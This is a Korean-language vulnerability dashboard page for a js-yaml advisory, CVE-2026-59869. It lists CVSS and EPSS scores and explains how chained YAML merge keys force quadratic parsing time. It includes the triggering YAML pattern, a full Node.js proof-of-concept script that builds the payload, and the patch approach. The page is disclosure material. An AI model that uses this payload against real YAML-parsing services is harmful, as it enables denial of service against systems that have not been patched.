Kestrel
대시보드로 돌아가기
CVE-2026-59869HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 07. 08.수정일: 2026. 07. 20.

js-yaml: YAML merge-key chains can force quadratic CPU consumption

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
0.4%상위 65.3%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

text
1a0: &a0 { k0: 0 }
2a1: &a1 { <<: *a0, k1: 1 }
3a2: &a2 { <<: *a1, k2: 2 }
4a3: &a3 { <<: *a2, k3: 3 }
5...
6b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

text
1import { performance } from 'node:perf_hooks'
2import { Buffer } from 'node:buffer'
3import { load, YAML11_SCHEMA } from 'js-yaml'
4
5const n = Number(process.argv[2] || 4000)
6
7function makeMergeChain (count) {
8 const lines = ['a0: &a0 { k0: 0 }']
9
10 for (let i = 1; i < count; i++) {
11 lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
12 }
13
14 lines.push(`b: *a${count - 1}`)
15 return `${lines.join('\n')}\n`
16}
17
18const source = makeMergeChain(n)
19
20console.log(source.split('\n').slice(0, 8).join('\n'))
21console.log('...')
22console.log(source.split('\n').slice(-4).join('\n'))
23console.log()
24console.log(`N: ${n}`)
25console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
26
27const started = performance.now()
28const result = load(source, { schema: YAML11_SCHEMA })
29const elapsed = performance.now() - started
30
31console.log(`parse time: ${elapsed.toFixed(1)} ms`)
32console.log(`top-level keys: ${Object.keys(result).length}`)
33console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.